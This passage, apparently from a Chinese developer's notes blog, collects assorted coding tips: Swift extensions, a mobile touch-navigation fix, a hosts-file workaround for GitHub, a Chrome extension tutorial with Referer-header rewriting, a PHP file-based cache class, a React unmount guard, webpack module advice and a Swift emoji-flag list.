// 鉴权成功
self.hasAuthenticate = true
} else {
// 鉴权失败
self.hasAuthenticate = false
}
}
}
} else {
// 没有生物特征识别功能
}
}
}
extension Bundle {
var releaseVersionNumber: String? {
return infoDictionary?["CFBundleShortVersionString"] as? String ?? "1.0"
}
var buildVersionNumber: String? {
return infoDictionary?["CFBundleVersion"] as? String ?? "1"
}
var displayName: String? {
return object(forInfoDictionaryKey: "CFBundleDisplayName") as? String ??
object(forInfoDictionaryKey: "CFBundleName") as? String ?? "Unknown"
}
}
// double取多少位小数
extension Double {
/// Rounds the double to decimal places value
func rounded(toPlaces places:Int) -> Double {
let divisor = pow(10.0, Double(places))
return (self * divisor).rounded() / divisor
}
}
注意:iPad 下屏幕宽度跟可页面可视宽度不一致,要使用
GeometryReader
// 屏幕宽度
class SGConvenience{
#if os(watchOS)
static var deviceWidth:CGFloat = WKInterfaceDevice.current().screenBounds.size.width
static var deviceHeight:CGFloat = WKInterfaceDevice.current().screenBounds.size.height
#elseif os(iOS)
static var deviceWidth:CGFloat = UIScreen.main.bounds.size.width
static var deviceHeight:CGFloat = UIScreen.main.bounds.size.height
#elseif os(macOS)
static var deviceWidth:CGFloat? = NSScreen.main?.visibleFrame.size.width // You could implement this to force a CGFloat and get the full device screen size width regardless of the window size with .frame.size.width
static var deviceHeight:CGFloat? = NSScreen.main?.visibleFrame.size.height
#endif
}
extension String {
// base64(可用于解决中文问题)
func fromBase64() -> String? {
guard let data = Data(base64Encoded: self) else {
return nil
}
return String(data: data, encoding: .utf8)
}
func toBase64() -> String {
return Data(self.utf8).base64EncodedString()
}
}
// 打开评分
if let scene = UIApplication.shared.connectedScenes
.first(where: { $0.activationState == .foregroundActive })
as? UIWindowScene {
SKStoreReviewController.requestReview(in: scene)
}
最近在实现一个移动端上的字母快速定位导航的时候,发现了一些问题,在 touchstart touchmove
的响应里,获取到的 e.target
都是第一次按下去时的 DOM。
那怎么样才可以获取移动过程中实际手指所在的一个 DOM 节点呢?
首先,通过以下两个获取当手指的真实位置:
e.originalEvent.changedTouches[0].clientX
e.originalEvent.changedTouches[0].clientY
然后用这个函数获取真实 DOM 节点: document.elementFromPoint(x,y)
按照上面的实现方式,可以实现所要的效果,但是有一个问题,手指在移动的过程中,离开了右边的栏则不生效,因为 X 的位置变了,这时候获取到的是数据列表的 DOM 节点。
所以,在以上函数 elementFromPoint
传参的时候,X 值只传入一个固定的值就可以了,这个固定值,可以通过屏幕大小来获取。
最后,核心代码如下:
$('.ul-fixed').on('touchstart touchmove', 'li', function(e) {
// 屏幕大小
var winRect = getWinRect();
// 触摸的实时位置
var realPosition = {
X: e.originalEvent.changedTouches[0].clientX,
Y: e.originalEvent.changedTouches[0].clientY
};
// 触摸的实时 DOM
var x = (winRect.width - 10) > 0 ? (winRect.width - 10) : realPosition.X;
var realDom = document.elementFromPoint(x, realPosition.Y);
// ...
return false;
})
function getWinRect() {
var winHeight = 0;
var winWidth = 0;
if (window.innerWidth) {
winWidth = window.innerWidth;
} else if ((document.body) && (document.body.clientWidth)) {
winWidth = document.body.clientWidth;
}
if (window.innerHeight) {
winHeight = window.innerHeight;
} else if ((document.body) && (document.body.clientHeight)) {
winHeight = document.body.clientHeight;
}
if (document.documentElement && document.documentElement.clientHeight && document.documentElement.clientWidth) {
winHeight = document.documentElement.clientHeight;
winWidth = document.documentElement.clientWidth;
}
return {
width: winWidth,
height: winHeight
}
}
GitHub在国内访问速度慢的问题原因有很多,但最直接和最主要的原因是GitHub的分发加速网络的域名遭到dns污染。
hosts
文件绕过国内dns解析,直接通过 IP 形式访问。具体如下:
# GitHub Start
192.30.253.112 github.com
192.30.253.119 gist.github.com
151.101.100.133 assets-cdn.github.com
151.101.100.133 raw.githubusercontent.com
151.101.100.133 gist.githubusercontent.com
151.101.100.133 cloud.githubusercontent.com
151.101.100.133 camo.githubusercontent.com
151.101.108.133 user-images.githubusercontent.com
151.101.100.133 avatars0.githubusercontent.com
151.101.100.133 avatars1.githubusercontent.com
151.101.100.133 avatars2.githubusercontent.com
151.101.100.133 avatars3.githubusercontent.com
151.101.100.133 avatars4.githubusercontent.com
151.101.100.133 avatars5.githubusercontent.com
151.101.100.133 avatars6.githubusercontent.com
151.101.100.133 avatars7.githubusercontent.com
151.101.100.133 avatars8.githubusercontent.com
# GitHub End
路径 C:\Windows\System32\drivers\etc
在文件最后加上几个域名对应的 IP(此时可能需要管理员权限,可以将hosts复制到桌面,修改好了再复制回去覆盖原先的)。
命令行输入以下命令修改 sudo vi /etc/hosts
。
最后如下图:
如果windows Vista之前直接在cmd-终端-输入
ipconfig /flushdns
在Vista之后就需要有管理员权限
可以直接到C:\Windows\System32\cmd.exe,右键这个程序,以管理员身份运行,然后在输入
ipconfig /flushdns
在命令行窗口(terminal)输入:
lookupd -flushcache
命令执行完毕,DNS缓存就得到了更新。
较新的苹果Mac OS X系统应该使用下面的命令:
type dscacheutil -flushcache
最新的 OS X Mountain Lion or Lion 上刷新DNS应该是 :
sudo killall -HUP mDNSResponder
上面的域名可能不全,后面如果还发现有某些资源加载不成功,可以通过 Chrome Dev 工具看看具体哪个资源,并找出资源域名,通过 http://tool.chinaz.com/dns?type=1 查询对应 IP 地址,并添加到 hosts 上去即可。
不作普及,不作教程,只记录平时使用过的刚学的而且容易忘记的用法。
name
和它的的重复次数,并查出重复次数大于 2
的记录SELECT name, COUNT(*) as A FROM tb_demo WHERE status = 1 GROUP BY name HAVING A>1;
如果英文过关,直接看 官方文档 就好了,写的还是很清晰简单的,可以直接跳到看最后的 【章节:程序分享与发布】。
Extensions are small software programs that can modify and enhance the functionality of the Chrome browser. You write them using web technologies such as HTML, JavaScript, and CSS.
Chrome Extensions,中文名叫 “Chrome浏览器扩展程序”。引用官方文档的描述,翻译一下就是 “可以修改和增强浏览器功能的 H5 小程序”。
时间关系,我已经准备好一个 DEMO 了。
打开 DMEO 源码目录(包含 manifest.json
的那层),即可完成导入。
注意:目录不能包含
中文
,不然会报错。
完成以上步骤,就完成项目的导入啦,现在可以看到 DEMO 的效果了,如下。
同时,浏览器插件扩展程序入口(右上角地址栏右边)也会出来 DEMO 的图标了,如下。
OK,后面的事情,就根据文档也实现自己需要的功能就可以了。
manifest.json 是整个插件扩展程序中最重要的一个描述文件,这个 json 格式的文件包含了你整个扩展程序的一些重要描述,比如 “扩展程序名称”、“扩展程序图标”、“权限申请” 等。
下面给个官方的例子,加了点注释:
manifest.json 是 json 文件,是不允许有注释的,上面的 "//" 的注释是为了更方便的解释清楚每个字段的意义,大家在实际实现的时候记得把注释都删了才可以。
{
// Required
"manifest_version": 2, // manifest 版本号,这里都写 2 就好了,从 Google Chrome 18 开始,就开始升级到 2 版本了
"name": "My Extension",
"version": "1.0.0", // 扩展程序版本,这个是自定义的,建议参考 semver 规范(http://semver.org/)
// Recommended
"default_locale": "zh", // 默认语言,具体可以看 i18n 文档(https://developer.chrome.com/extensions/i18n)
"description": "A plain text description", // 项目描述
"icons": { // icon,不同的位置支持不同大小的 icon,具体看文档(https://developer.chrome.com/extensions/manifest/icons)
"128": "icons/icon_128.png",
"48": "icons/icon_48.png",
"16": "icons/icon_16.png"
},
// Pick one (or none)
"browser_action": { // 多数都是使用这个,插件扩展程序针对的是浏览器行为(图标是在地址栏外面)
"default_icon": "icons/24.png", // 最佳大小为19*19,地址栏上的插件扩展程序的 icon(一般作为主入口)
"default_popup": "popup.html", // 点击插件扩展程序 icon 后弹出来的窗口的主页面 html
"default_title": "extentsions demo" // 当鼠标放到扩展程序图标上时显示的文字
},
"page_action": { // 插件扩展程序针对的是页面行为(图标是在地址栏里面的)
...
},
// Optional
"author": ...,
"automation": ...,
"background": {
// Recommended
"persistent": false
},
"background": {
"scripts": ["eventPage.js"],
"persistent": false
},
"chrome_settings_overrides": {...},
"chrome_ui_overrides": {
"bookmarks_ui": {
"remove_bookmark_shortcut": true,
"remove_button": true
}
},
"chrome_url_overrides": {...},
"commands": {...},
"content_capabilities": ...,
"content_scripts": [{...}],
"content_security_policy": "policyString",
"converted_from_user_script": ...,
"current_locale": ...,
"declarative_net_request": ...,
"devtools_page": "devtools.html",
"event_rules": [{...}],
"externally_connectable": {
"matches": ["*://*.example.com/*"]
},
"file_browser_handlers": [...],
"file_system_provider_capabilities": {
"configurable": true,
"multiple_mounts": true,
"source": "network"
},
"homepage_url": "http://path/to/homepage",
"import": [{"id": "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"}],
"incognito": "spanning, split, or not_allowed",
"input_components": ...,
"key": "publicKey",
"minimum_chrome_version": "versionString",
"nacl_modules": [...],
"oauth2": ...,
"offline_enabled": true,
"omnibox": {
"keyword": "aString"
},
"optional_permissions": ["tabs"],
"options_page": "options.html",
"options_ui": {
"chrome_style": true,
"page": "options.html"
},
"permissions": ["tabs"],
"platforms": ...,
"plugins": [...],
"requirements": {...},
"sandbox": [...],
"short_name": "Short Name",
"signature": ...,
"spellcheck": ...,
"storage": {
"managed_schema": "schema.json"
},
"system_indicator": ...,
"tts_engine": {...},
"update_url": "http://path/to/updateInfo.xml",
"version_name": "aString",
"web_accessible_resources": [...]
}
Chrome 给插件扩展程序提供了一系列的 API,但其实我们平时常用的也就那几个。
当程序都开发完成了,想要发给小伙伴们体验下,可以怎么操作呢。
第一个框需要定位到程序的根目录,也就是包含 manifest.json
文件的目录;
第二个框是填一个私钥文件的(同一个私钥打出来的插件扩展程序包的 ID 相同),第一次打包时因为没有所以不填。
如图,第一次打包完成后,会生成一个私钥文件(*.pem),可以保存好这个文件,下次升级打包的时候就可以使用了,不然打包出来的 ID 会变了,Chrome 就会把它当成一个新的程序了。
另外,*.crx
这个文件就是打包好的插件扩展程序了,这时你可以随意改名(别改后缀就行),然后发给其他人进行安装就可以试用你的这个程序了。
拿到 *.crx
文件后,Chrome 打开链接 chrome://extensions/,然后把 *.crx
文件拖动到页面中间进行安装即可,如图。
安装完成后,点击右上角的�入口图标,弹出来的界面就是插件扩展程序的主页面(popup)。
好像是 Chrome 53 版本起就会有这个问题,为了防止扩展程式被病毒木马或恶意软件修改,Chrome的扩展程序安全验证机制, 会比对本地扩展和Chrome商店中的扩展是否一致,如不匹配就会出现这个错误。
我们平时在开发过程中,manifest.json
里不用写 "update_url": "https://clients2.google.com/service/update2/crx"
的,但是从商店下载下来的包会自动带上这个,所以如果我们是用商店下载下来的包去修改做开发的话,记得要把这句删掉,不然生成的 crx 文件别人是用不了的。
当一切准备就绪,就可以准备发布上线了,Chrome 有个官方的插件扩展程序市场,还自带了发布和更新等一体化管理的流程,非常方便,当然,需要先注册个 Chrome 账号。
传送门:【Chrome商店dashboard】
注意,上传的是 zip
而不是上面生成的 crx
文件,具体参考:【https://developer.chrome.com/webstore/publish】
最后推广一个我很久之前刚学习前端的时候写的一个二维码扩展程序,还是挺好用的,有兴趣可以安装后直接查看代码(扩展程序都是开源的)。
这应该是一个 bug,经研究发现,它会自动给页面第一个 a
标签聚焦,从而产生蓝色的选择框,解决方法可以给页面最前面加上一个看不见的 a
标签。
<body>
<a href="#" style="width: 0; height:0;"></a>
...
</body>
这是一个很常见的问题,经常我们都会用到网络接口来请求数据,这时接口可能会有跨域同源限制,或者对 Origin
又或者对 Referer
来做防盗链。
另外,由于 CSP(contentSecurityPolicy) 问题,jsonp 也是用不了的。
Chrome 插件扩展程序 API 有提供了一个 webRequest 接口,可以通过它来修改发出去的网络请求的一些信息,比如 Referer
、Origin
等。
首先,要在 mainfest.json
文件添加 webRequest
的权限:
"permissions": [
"webRequest",
"*://*.api.com/"
]
*://*.api.com/
这里就是你请求的网络接口的域名
然后,添加代码来修改 referer
信息:
// popup.js
chrome.webRequest.onBeforeSendHeaders.addListener(
function(details){
var newRef = "https://xxx.api.com/index.html";
var gotRef = false;
for(var n in details.requestHeaders){
gotRef = details.requestHeaders[n].name.toLowerCase() === 'referer';
if(gotRef){
details.requestHeaders[n].value = newRef;
break;
}
}
if(!gotRef){
details.requestHeaders.push({
name: 'Referer',
value: newRef
});
}
return {requestHeaders: details.requestHeaders};
},{
urls:["*://xxx.api.com/*"]
},[
"requestHeaders",
"blocking"
]
);
最后,要说明一下的是,以上的代码只能修改使用 fetch
发起的网络请求,而对 xhr
的请求是没用的,所以,记得把请求库切换为 fetch
,如:
fetch('http://xxx.api.com/getlist').then(response => {
if (response.status === 200){
return response.json();
}
}).then(json => {
console.log(json);
}).catch(err => {
console.log(err);
});
完成以上步骤,再请求一下看看,会发现请求的 Referer
已经会被修改了,这样,就再也不怕什么跨域的问题了。
js
时报 Refused to load the script
的问题在页面里引入一个 JS
,比如 jquery
,在 Chrome 插件里会报错,比如:
<script src="https://code.jquery.com/jquery-3.2.1.min.js"></script>
会报以下错误:
分析原因,还是 CSP(contentSecurityPolicy) 的问题。
修改 content_security_policy
,把对应的域名加上去即可,比如以上的问题可以酱紫解决:
# manifest.json
{
...
"content_security_policy": "script-src 'self' https://code.jquery.com; object-src 'self'"
...
}
以上表示允许
https://code.jquery.com
域名下的外部js
的引入。
Chrome 插件扩展程序是开源的方式安装的,可以去安装目录通过扩展程序 ID 来找到源码。
正常情况下,Chrome 插件扩展程序的默认安装目录如下:
C:\Documents and Settings\用户名\Local Settings\Application Data\Google\Chrome\User Data\Default\Extensions
C:\Users\用户名\AppData\Local\Google\Chrome\User Data\Default\Extensions
~/Library/Application Support/Google/Chrome/Default/Extensions
~/.config/google-chrome/Default/Extensions
如果在这些不同操作系统中的默认安装位置没找到插件,那么还有一种方法可以查询到。
chrome:version
extensions
文件夹就是 Chrome 插件扩展程序的安装路径了chrome://extensions/
,可以查看每个插件扩展程序的 ID,比如 “UC二维码插件” 的 ID 为 nhelohnehpahakjoklmodmogclacjgdj
最近有个php项目,单机部署,在做性能优化的时候发现有些内部处理函数需要做下数据缓存。因为项目没有部署 redis 或者 memcached,所以就想偷个懒,直接把缓存放到内存来实现,反正是单机部署方便快捷,只需要控制好缓存量别被挤爆了就好。
嗯,不用想了,单例模式上……信心满满,很快就写好了!
然而……然而……童话里都是骗人的!!!
一顿操作萌如虎……上机运行之后,结果并不是想象中的那样,数据怎么也缓存不起来,调试了好久,最后才发现,原来是php运行机制的问题。
最近刚接触 php,对它的运行机制还不熟悉,惯性的就用了其他语言(JAVA/NODE/..)的实现方法,但是由于 PHP 是解释运行的,PHP 页面被解释执行后,所有相关的资源都会被回收,对象也被销毁了,所以PHP 程序无法做到常驻内存运行。
当然,目前好像也出现了一些常驻内存的解决方法,但是基于目前的项目环境(PHP 5.3.29),感觉会得不偿失,还是老老实实用 redis 或者 memcached 吧。
不过,代码不写也写了,虽然用不了但删掉也可惜,就放出来当个纪念吧!
<?php
/**
* 缓存管理(内存缓存)
* 单例模式
*
* 用法举例:mem_cache::ins()->get('key');
*
* $Author: Eric Chen 2020-11-4
* $Email: [email protected]
*/
if (!defined('IN_ECTOUCH'))
{
die('Hacking attempt');
}
class mem_cache
{
private static $_instance = null;
private $_pool; // 缓存池
private $_maxlen; // 缓存key数量限制,防止爆内存
private $_lucky_percent; // 缓存失效概率 0-100(读缓存的时候,设定一个概率让它清空,也就是除了时间还提供了一个随机机制让缓存更新,如果想关闭该机制,则设定为0即可
private function __construct($maxlen = 100, $percent = 5){
$this->_pool = array();
$this->_maxlen = $maxlen;
$this->_lucky_percent = $percent;
}
/*
* 公有化获取实例方法
*
* 用法:mem_cache::ins()->xxx
*/
public static function ins(){
if (!(self::$_instance instanceof mem_cache)){
self::$_instance = new mem_cache();
}
return self::$_instance;
}
// 设置缓存,默认有效时间为 600s
public function set($key, $value, $seconds = 600, $percent = -1) {
if (!$key) {
return;
}
// 检测超池
if (count($this->_pool, COUNT_NORMAL ) >= $this->_maxlen) {
// 先清一次过期缓存,如果还是饱和,则直接返回
if(!$this->gc()) {
return;
}
}
// 更新/添加缓存
$obj_item = new mem_cache_item();
$obj_item->value = $value;
$obj_item->time = time();
$obj_item->maxage = $seconds;
$obj_item->lucky_percent = $percent < 0 ? $this->_lucky_percent : $percent;
$this->_pool[$key] = $obj_item;
}
public function get($key) {
if (!$key || !$this->_pool[$key]) {
return false;
}
// 过期/缓存异常/命中清除概率,则判断为缓存不可取,清除它
if (!$this->_pool[$key]->value ||
(time() - $this->_pool[$key]->time) > $this->_pool[$key]->maxage ||
mt_rand(0, 100) < $this->_pool[$key]->lucky_percent
) {
$this->delete($key);
return false;
}
return $this->_pool[$key]->value;
}
public function delete($key) {
if (!$key) {
return;
}
unset($this->_pool[$key]);
}
// 清除过期缓存,清完后还饱和则返回false,否则返回true
public function gc() {
foreach($this->_pool as $key => $item) {
if (!$this->_pool[$key]->value ||
(time() - $this->_pool[$key]->time) > $this->_pool[$key]->maxage
) {
$this->delete($key);
}
}
if (count($this->_pool, COUNT_NORMAL) >= $this->_maxlen) {
return false;
}
return true;
}
// 清除所有缓存
public function clear() {
$this->_pool = array();
}
}
// 缓存元素类
class mem_cache_item
{
public $value;
public $time;
public $maxage;
public $lucky_percent;
}
?>
更新@2020-11-5 今天把它改成了基于文件系统的缓存,自测没问题,记录一下:
<?php
/**
* 缓存管理(内存缓存)
* 单例模式
*
* 用法举例:mem_cache::ins()->get('key');
*
* $Author: Eric Chen 2020-11-5
* $Email: [email protected]
*/
if (!defined('IN_ECTOUCH'))
{
die('Hacking attempt');
}
class mem_cache
{
private static $_instance = null;
private $_cache_path;
private $_lucky_percent; // 缓存命中率 0-100(读缓存的时候,设定一个命中概率,不命中的时候不返回数据,让调用方以为没缓存然后去取数据更新缓存,也就是除了时间还提供了一个随机机制让缓存更新,如果想关闭该机制,则设定为100即可
private function __construct($percent = 98)
{
$this->_lucky_percent = $percent;
$this->_cache_path = ROOT_PATH . 'data/mem_cache/';
if (!file_exists($this->_cache_path)) {
if (!make_dir($this->_cache_path)) {
return false;
}
}
}
/*
* 公有化获取实例方法
*
* 用法:mem_cache::ins()->xxx
*/
public static function ins()
{
if (!(self::$_instance instanceof mem_cache)) {
self::$_instance = new mem_cache();
}
return self::$_instance;
}
// 设置缓存,默认有效时间为 600s
public function set($key, $value, $seconds = 600, $percent = -1)
{
if (!$key) {
return;
}
// 更新/添加缓存
$obj_item = new mem_cache_item();
$obj_item->value = $value;
$obj_item->time = time();
$obj_item->maxage = $seconds;
$obj_item->lucky_percent = ($percent < 0 || $percent > 100) ? $this->_lucky_percent : $percent;
$cache_file = $this->_cache_path . crc32($key) . '.cache';
file_put_contents($cache_file, serialize($obj_item)); // 序列化写入
}
public function get($key)
{
if (!$key) {
return false;
}
// 从文件读取缓存
$cache_file = $this->_cache_path . crc32($key) . '.cache';
if (!is_file($cache_file)) {
// echo 'cache not found. key: ' . $key . '<br>';
return false;
}
$fp = fopen($cache_file, 'r');
$item = unserialize(fread($fp, filesize($cache_file))); //反序列化,并赋值
// 缓存异常或者过期,清理它
if (!$item || !$item->value || (time() - $item->time) > $item->maxage) {
// echo 'cache exist but not good, to delete it. key: ' .$key .'<br>';
$this->delete($key);
return false;
}
// 命中率
if (mt_rand(0, 100) > $item->lucky_percent) {
// echo 'cache exist, but I do not want to show you. key: ' . $key . '<br>';
return false;
}
return $item->value;
}
public function delete($key)
{
if (!$key) {
return;
}
// 删除缓存文件
$cache_file = $this->_cache_path . crc32($key) . '.cache';
unlink($cache_file);
// echo 'delete cache. key: ' . $key . '<br>';
}
// 清除所有缓存
public function clear()
{
$this->delete_directory($this->_cache_path);
}
public function delete_directory($dirname)
{
if (is_dir($dirname)) {
$dir_handle = opendir($dirname);
}
if (!$dir_handle) {
return false;
}
while ($file = readdir($dir_handle)) {
if ($file != "." && $file != "..") {
if (!is_dir($dirname . "/" . $file)) {
unlink($dirname . "/" . $file);
} else {
$this->delete_directory($dirname . '/' . $file);
}
}
}
closedir($dir_handle);
rmdir($dirname);
return true;
}
}
// 缓存元素类
class mem_cache_item
{
public $value;
public $time;
public $maxage;
public $lucky_percent;
}
?>
react 开发过程中,组件是必不可少的,而在一些实际的业务组件里,通常会包含一些异步操作,比如网络请求等。当组件已经被卸载了之后,异步回调处理中进行的一些比如 setState
等操作会存在内存泄漏的风险。
对组件的 componentWillUnmount
事件做处理,当组件被卸载的时候,要不就去停止掉网络请求,要不就对 setState
等敏感操作进行判断。
比如,下面一个小组件的处理,可以参考一下(unmounted
变量是关键):
/**
* 图片组件:自动获取图片大小
*/
import React, { Component } from 'react';
import { Image, Dimensions } from 'react-native';
const WinWidth = Dimensions.get('window').width;
export default class AutoSizedImage extends Component {
constructor(props) {
super(props);
this.state = {
finalSize: {
width: 0,
height: 0,
},
};
this.unmounted = false; // 组件是否已被卸载
}
static defaultProps = {
maxWidth: WinWidth,
style: {},
source: {
uri: '',
},
};
componentWillUnmount() {
this.unmounted = true;
}
componentDidMount() {
//avoid repaint if width/height is given
if (this.props.style.width || this.props.style.height) {
return;
}
// 不限定宽度的话,就取屏幕宽度
const maxWidth = Math.min(this.props.maxWidth, WinWidth);
Image.getSize(this.props.source.uri, (w, h) => { // 异步操作回调
if (this.unmounted) { // 组件已卸载,不做操作
console.log('[AutoSizedImage] component unmounted, abort.');
return;
}
const finalSize = {
width: w,
height: h,
};
if (w > maxWidth) {
finalSize.width = maxWidth;
const ratio = finalSize.width / w;
finalSize.height = h * ratio;
}
this.setState({
finalSize,
});
});
}
render() {
return (
<Image
{...this.props}
resizeMode={'contain'}
style={[
this.props.style,
this.state.finalSize.width && this.state.finalSize.height
? this.state.finalSize
: null,
]}
/>
);
}
}
其他更多处理方式网上一大把,大家可以自行谷歌或者百度!!!
webpack 的出现把前端模块化推向了一个新的高度,在 webpack 的概念中,任何资源都可以当成模块来处理,再配合上 npm ,双剑合璧,天下无敌了。
之前跟天猪 @atian25 讨论的过程中,请教过他关于前端模块管理的事情,总结了下,核心**是酱紫的:
webpack
进行开发,配置 output.libraryTarget: 'umd'
webpack -p
命令进行编译打包 dist/xxx.bundle.js
src/main.js
<script>
标签的引用方式(具体模块具体分析),需要把模块挂载到 window
对象 window.Abc=xxx;
, webpack
配置 umd 时,增加 out.library: 'Abc'
,这里需要注意命名冲突问题,建议先规范好自有的命名规则Object.assign
等,需要 polyfill
来支持有些团队可能会倾向于把模块编译好后再提供出去(dist/xxx.bundle.js
),但是在 webpack
环境下,这种做法是有问题的。
比如:模块B引用了模块A(A被打包进B),模块C同时引用了B和A,这时候模块A就重复了,模块C会包含了1个B和2个A(不信,自己可以试下)。
有一些模块代码可以重复,但是有些模块是不允许重复的,比如一些消息响应类的,或者其他有输出内容的,一旦代码重复就会导致出错,所以对于这类模块在编写的时候也可以从代码层面去避免因代码重复而导致的错误。
if (window.Demo === undefined) {
// 模块不存在,走正常流程
require('./demo_1.js');
module.exports = require('./demo.js');
} else {
// 如果模块已存在,直接抛出现有的模块
module.exports = window.Demo;
}
传送门:【webpack模块开发demo】
最近发现,小程序大部分的新用户的用户名都是 ”微信用户“,一开始觉得很奇怪,还以为被人攻击了,但是上网一查才知道,原来微信更新了 SDK,更新了获取用户信息的方式。
摒弃了 <button open-type="getUserInfo">
的方式改为 getUserProfile
。详情如下:
参考以上链接,要改用 wx.getUserProfile
获取用户信息才行,<button open-type="getUserInfo">
已经被弃用了,而且没有做到向下兼容(微信这也是神操作)。
有很多旗子从UI上看是重复了的,但是从字符串值来说它们又不一样,比如 U.S. Outlying Islands
=🇺🇲 跟 United States
=🇺🇸,看起来一样,但是字符串搜索可以分辨出来他们是不同的,所以在UI要求惟一的情形下,需要做排重。
以下列表已经做了UI排重:
struct Flag: Hashable {
let id: UUID = UUID()
var name: String = ""
var alias: String = ""
var image: String = ""
}
private static let flagsAll: Array<Flag> = [
Flag(name: "Ascension Island", image: "🇦🇨"),
Flag(name: "Andorra", image: "🇦🇩"),
Flag(name: "United Arab Emirates", image: "🇦🇪"),
Flag(name: "Afghanistan", image: "🇦🇫"),
Flag(name: "Antigua & Barbuda", image: "🇦🇬"),
Flag(name: "Anguilla", image: "🇦🇮"),
Flag(name: "Albania", image: "🇦🇱"),
Flag(name: "Armenia", image: "🇦🇲"),
Flag(name: "Angola", image: "🇦🇴"),
Flag(name: "Antarctica", image: "🇦🇶"),
Flag(name: "Argentina", image: "🇦🇷"),
Flag(name: "American Samoa", image: "🇦🇸"),
Flag(name: "Austria", image: "🇦🇹"),
Flag(name: "Australia", image: "🇦🇺"),
Flag(name: "Aruba", image: "🇦🇼"),
Flag(name: "Åland Islands", image: "🇦🇽"),
Flag(name: "Azerbaijan", image: "🇦🇿"),
Flag(name: "Bosnia & Herzegovina", image: "🇧🇦"),
Flag(name: "Barbados", image: "🇧🇧"),
Flag(name: "Bangladesh", image: "🇧🇩"),
Flag(name: "Belgium", image: "🇧🇪"),
Flag(name: "Burkina Faso", image: "🇧🇫"),
Flag(name: "Bulgaria", image: "🇧🇬"),
Flag(name: "Bahrain", image: "🇧🇭"),
Flag(name: "Burundi", image: "🇧🇮"),
Flag(name: "Benin", image: "🇧🇯"),
Flag(name: "St. Barthélemy", image: "🇧🇱"),
Flag(name: "Bermuda", image: "🇧🇲"),
Flag(name: "Brunei", image: "🇧🇳"),
Flag(name: "Bolivia", image: "🇧🇴"),
Flag(name: "Caribbean Netherlands", image: "🇧🇶"),
Flag(name: "Brazil", image: "🇧🇷"),
Flag(name: "Bahamas", image: "🇧🇸"),
Flag(name: "Bhutan", image: "🇧🇹"),
// Flag(name: "Bouvet Island", image: "🇧🇻"), // the same flag as Norway
Flag(name: "Botswana", image: "🇧🇼"),
Flag(name: "Belarus", image: "🇧🇾"),
Flag(name: "Belize", image: "🇧🇿"),
Flag(name: "Canada", image: "🇨🇦"),
Flag(name: "Cocos (Keeling) Islands", image: "🇨🇨"),
Flag(name: "Congo - Kinshasa", image: "🇨🇩"),
Flag(name: "Central African Republic", image: "🇨🇫"),
Flag(name: "Congo - Brazzaville", image: "🇨🇬"),
Flag(name: "Switzerland", image: "🇨🇭"),
Flag(name: "Côte d’Ivoire", image: "🇨🇮"),
Flag(name: "Cook Islands", image: "🇨🇰"),
Flag(name: "Chile", image: "🇨🇱"),
Flag(name: "Cameroon", image: "🇨🇲"),
Flag(name: "China", image: "🇨🇳"),
Flag(name: "Colombia", image: "🇨🇴"),
// Flag(name: "Clipperton Island", image: "🇨🇵"), // the same flag as France
Flag(name: "Costa Rica", image: "🇨🇷"),
Flag(name: "Cuba", image: "🇨🇺"),
Flag(name: "Cape Verde", image: "🇨🇻"),
Flag(name: "Curaçao", image: "🇨🇼"),
Flag(name: "Christmas Island", image: "🇨🇽"),
Flag(name: "Cyprus", image: "🇨🇾"),
Flag(name: "Czechia", image: "🇨🇿"),
Flag(name: "Germany", image: "🇩🇪"),
Flag(name: "Diego Garcia", image: "🇩🇬"),
Flag(name: "Djibouti", image: "🇩🇯"),
Flag(name: "Denmark", image: "🇩🇰"),
Flag(name: "Dominica", image: "🇩🇲"),
Flag(name: "Dominican Republic", image: "🇩🇴"),
Flag(name: "Algeria", image: "🇩🇿"),
// Flag(name: "Ceuta & Melilla", image: "🇪🇦"), // the same flag as Spain
Flag(name: "Ecuador", image: "🇪🇨"),
Flag(name: "Estonia", image: "🇪🇪"),
Flag(name: "Egypt", image: "🇪🇬"),
Flag(name: "Western Sahara", image: "🇪🇭"),
Flag(name: "Eritrea", image: "🇪🇷"),
Flag(name: "Spain", image: "🇪🇸"),
Flag(name: "Ethiopia", image: "🇪🇹"),
Flag(name: "European Union", image: "🇪🇺"),
Flag(name: "Finland", image: "🇫🇮"),
Flag(name: "Fiji", image: "🇫🇯"),
Flag(name: "Falkland Islands", image: "🇫🇰"),
Flag(name: "Micronesia", image: "🇫🇲"),
Flag(name: "Faroe Islands", image: "🇫🇴"),
Flag(name: "France", image: "🇫🇷"),
Flag(name: "Gabon", image: "🇬🇦"),
Flag(name: "United Kingdom", image: "🇬🇧"),
Flag(name: "Grenada", image: "🇬🇩"),
Flag(name: "Georgia", image: "🇬🇪"),
Flag(name: "French Guiana", image: "🇬🇫"),
Flag(name: "Guernsey", image: "🇬🇬"),
Flag(name: "Ghana", image: "🇬🇭"),
Flag(name: "Gibraltar", image: "🇬🇮"),
Flag(name: "Greenland", image: "🇬🇱"),
Flag(name: "Gambia", image: "🇬🇲"),
Flag(name: "Guinea", image: "🇬🇳"),
Flag(name: "Guadeloupe", image: "🇬🇵"),
Flag(name: "Equatorial Guinea", image: "🇬🇶"),
Flag(name: "Greece", image: "🇬🇷"),
Flag(name: "South Georgia & South Sandwich Islands", image: "🇬🇸"),
Flag(name: "Guatemala", image: "🇬🇹"),
Flag(name: "Guam", image: "🇬🇺"),
Flag(name: "Guinea-Bissau", image: "🇬🇼"),
Flag(name: "Guyana", image: "🇬🇾"),
Flag(name: "Hong Kong SAR China", image: "🇭🇰"),
// Flag(name: "Heard & McDonald Islands", image: "🇭🇲"), // the same flag as Australia
Flag(name: "Honduras", image: "🇭🇳"),
Flag(name: "Croatia", image: "🇭🇷"),
Flag(name: "Haiti", image: "🇭🇹"),
Flag(name: "Hungary", image: "🇭🇺"),
Flag(name: "Canary Islands", image: "🇮🇨"),
Flag(name: "Indonesia", image: "🇮🇩"),
Flag(name: "Ireland", image: "🇮🇪"),
Flag(name: "Israel", image: "🇮🇱"),
Flag(name: "Isle of Man", image: "🇮🇲"),
Flag(name: "India", image: "🇮🇳"),
// Flag(name: "British Indian Ocean Territory", image: "🇮🇴"), // the same as Diego Garcia
Flag(name: "Iraq", image: "🇮🇶"),
Flag(name: "Iran", image: "🇮🇷"),
Flag(name: "Iceland", image: "🇮🇸"),
Flag(name: "Italy", image: "🇮🇹"),
Flag(name: "Jersey", image: "🇯🇪"),
Flag(name: "Jamaica", image: "🇯🇲"),
Flag(name: "Jordan", image: "🇯🇴"),
Flag(name: "Japan", image: "🇯🇵"),
Flag(name: "Kenya", image: "🇰🇪"),
